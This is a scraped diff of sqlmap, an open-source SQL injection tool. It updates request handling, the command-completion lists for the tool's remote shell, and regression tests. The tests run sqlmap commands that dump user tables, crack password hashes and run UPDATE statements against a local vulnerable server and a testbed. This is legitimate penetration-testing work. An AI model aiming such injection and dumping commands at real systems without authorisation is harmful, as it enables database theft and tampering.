return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||||
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
else:
|
||||||
else:
|
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||||
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
|
||||||
|
|
||||||
codecs.register_error("reversible", _reversible)
|
codecs.register_error("reversible", _reversible)
|
||||||
|
|||||||
+12
-7
@@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
|
|||||||
if os == OS.WINDOWS:
|
if os == OS.WINDOWS:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"copy": None, "del": None, "dir": None,
|
"attrib": None, "copy": None, "del": None,
|
||||||
"echo": None, "md": None, "mem": None,
|
"dir": None, "echo": None, "fc": None,
|
||||||
|
"label": None, "md": None, "mem": None,
|
||||||
"move": None, "net": None, "netstat -na": None,
|
"move": None, "net": None, "netstat -na": None,
|
||||||
"ver": None, "xcopy": None, "whoami": None,
|
"tree": None, "truename": None, "type": None,
|
||||||
|
"ver": None, "vol": None, "xcopy": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"cp": None, "rm": None, "ls": None,
|
"cat": None, "chmod": None, "chown": None,
|
||||||
"echo": None, "mkdir": None, "free": None,
|
"cp": None, "cut": None, "date": None, "df": None,
|
||||||
"mv": None, "ifconfig": None, "netstat -natu": None,
|
"diff": None, "du": None, "echo": None, "env": None,
|
||||||
"pwd": None, "uname": None, "id": None,
|
"file": None, "find": None, "free": None, "grep": None,
|
||||||
|
"id": None, "ifconfig": None, "ls": None, "mkdir": None,
|
||||||
|
"mv": None, "netstat": None, "pwd": None, "rm": None,
|
||||||
|
"uname": None, "whoami": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
readline.set_completer(completer.complete)
|
readline.set_completer(completer.complete)
|
||||||
|
|||||||
+8
-8
@@ -106,7 +106,7 @@ def _setRequestParams():
|
|||||||
conf.data = ""
|
conf.data = ""
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
|
conf.method = conf.method or HTTPMETHOD.POST
|
||||||
|
|
||||||
def process(match, repl):
|
def process(match, repl):
|
||||||
retVal = match.group(0)
|
retVal = match.group(0)
|
||||||
@@ -125,7 +125,7 @@ def _setRequestParams():
|
|||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
||||||
message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
|
message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
|
||||||
message += "body. Do you want to process it? [Y/n/q] "
|
message += "body. Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -138,7 +138,7 @@ def _setRequestParams():
|
|||||||
kb.testOnlyCustom = True
|
kb.testOnlyCustom = True
|
||||||
|
|
||||||
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON data found in %s data. " % conf.method
|
message = "JSON data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -162,7 +162,7 @@ def _setRequestParams():
|
|||||||
kb.postHint = POST_HINT.JSON
|
kb.postHint = POST_HINT.JSON
|
||||||
|
|
||||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON-like data found in %s data. " % conf.method
|
message = "JSON-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -178,7 +178,7 @@ def _setRequestParams():
|
|||||||
kb.postHint = POST_HINT.JSON_LIKE
|
kb.postHint = POST_HINT.JSON_LIKE
|
||||||
|
|
||||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Array-like data found in %s data. " % conf.method
|
message = "Array-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -192,7 +192,7 @@ def _setRequestParams():
|
|||||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||||
|
|
||||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||||
message = "SOAP/XML data found in %s data. " % conf.method
|
message = "SOAP/XML data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -207,7 +207,7 @@ def _setRequestParams():
|
|||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
|
|
||||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Multipart-like data found in %s data. " % conf.method
|
message = "Multipart-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -491,7 +491,7 @@ def _resumeDBMS():
|
|||||||
|
|
||||||
dbms = value.lower()
|
dbms = value.lower()
|
||||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||||
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
||||||
|
|
||||||
if _:
|
if _:
|
||||||
|
|||||||
+192
-291
@@ -5,59 +5,33 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import division
|
|
||||||
|
|
||||||
import codecs
|
|
||||||
import doctest
|
import doctest
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
import shutil
|
|
||||||
import socket
|
import socket
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import traceback
|
|
||||||
|
|
||||||
from extra.beep.beep import beep
|
|
||||||
from extra.vulnserver import vulnserver
|
from extra.vulnserver import vulnserver
|
||||||
from lib.controller.controller import start
|
|
||||||
from lib.core.common import clearColors
|
from lib.core.common import clearColors
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readXmlFile
|
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.compat import round
|
from lib.core.compat import round
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import encodeBase64
|
from lib.core.convert import encodeBase64
|
||||||
from lib.core.convert import getUnicode
|
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.patch import unisonRandom
|
||||||
from lib.core.exception import SqlmapBaseException
|
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
|
||||||
from lib.core.log import LOGGER_HANDLER
|
|
||||||
from lib.core.option import init
|
|
||||||
from lib.core.option import initOptions
|
|
||||||
from lib.core.option import setVerbosity
|
|
||||||
from lib.core.optiondict import optDict
|
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
|
||||||
from lib.parse.cmdline import cmdLineParser
|
|
||||||
|
|
||||||
class Failures(object):
|
|
||||||
failedItems = None
|
|
||||||
failedParseOn = None
|
|
||||||
failedTraceBack = None
|
|
||||||
|
|
||||||
_failures = Failures()
|
|
||||||
_rand = 0
|
|
||||||
|
|
||||||
def vulnTest():
|
def vulnTest():
|
||||||
"""
|
"""
|
||||||
@@ -65,29 +39,35 @@ def vulnTest():
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
TESTS = (
|
TESTS = (
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
|
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
||||||
|
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||||
|
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||||
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
|
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||||
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
||||||
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
||||||
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||||
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
||||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
|
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||||
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||||
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
||||||
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
|
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||||
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||||
("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
|
("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
|
||||||
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
|
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
|
||||||
|
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||||
)
|
)
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
@@ -110,6 +90,9 @@ def vulnTest():
|
|||||||
except:
|
except:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
handle, database = tempfile.mkstemp(suffix=".sqlite")
|
handle, database = tempfile.mkstemp(suffix=".sqlite")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
|
|
||||||
@@ -131,14 +114,23 @@ def vulnTest():
|
|||||||
url = "http://%s:%d/?id=1" % (address, port)
|
url = "http://%s:%d/?id=1" % (address, port)
|
||||||
direct = "sqlite3://%s" % database
|
direct = "sqlite3://%s" % database
|
||||||
|
|
||||||
|
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||||
|
open(config, "w+").write(content)
|
||||||
|
|
||||||
for options, checks in TESTS:
|
for options, checks in TESTS:
|
||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
|
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||||
|
|
||||||
|
if "<tmp>" in cmd:
|
||||||
|
handle, tmp = tempfile.mkstemp()
|
||||||
|
os.close(handle)
|
||||||
|
cmd = cmd.replace("<tmp>", tmp)
|
||||||
|
|
||||||
output = shellExec(cmd)
|
output = shellExec(cmd)
|
||||||
|
|
||||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
dataToStdout("%s---\n" % clearColors(output))
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
retVal = False
|
retVal = False
|
||||||
@@ -153,44 +145,183 @@ def vulnTest():
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def dirtyPatchRandom():
|
def bedTest():
|
||||||
"""
|
"""
|
||||||
Unifying random generated data across different Python versions
|
Runs the testing against 'testbed'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _lcg():
|
TESTS = (
|
||||||
global _rand
|
# MaxDB
|
||||||
a = 1140671485
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
c = 128201163
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
m = 2 ** 24
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
_rand = (a * _rand + c) % m
|
|
||||||
return _rand
|
|
||||||
|
|
||||||
def _randint(a, b):
|
# Informix
|
||||||
_ = a + (_lcg() % (b - a + 1))
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
|
||||||
return _
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
def _choice(seq):
|
# Altibase
|
||||||
return seq[_randint(0, len(seq) - 1)]
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
def _sample(population, k):
|
# CockroachDB
|
||||||
return [_choice(population) for _ in xrange(k)]
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
def _seed(seed):
|
# CrateDB
|
||||||
global _rand
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
_rand = seed
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
|
||||||
|
|
||||||
random.choice = _choice
|
# Drizzle
|
||||||
random.randint = _randint
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
random.sample = _sample
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
random.seed = _seed
|
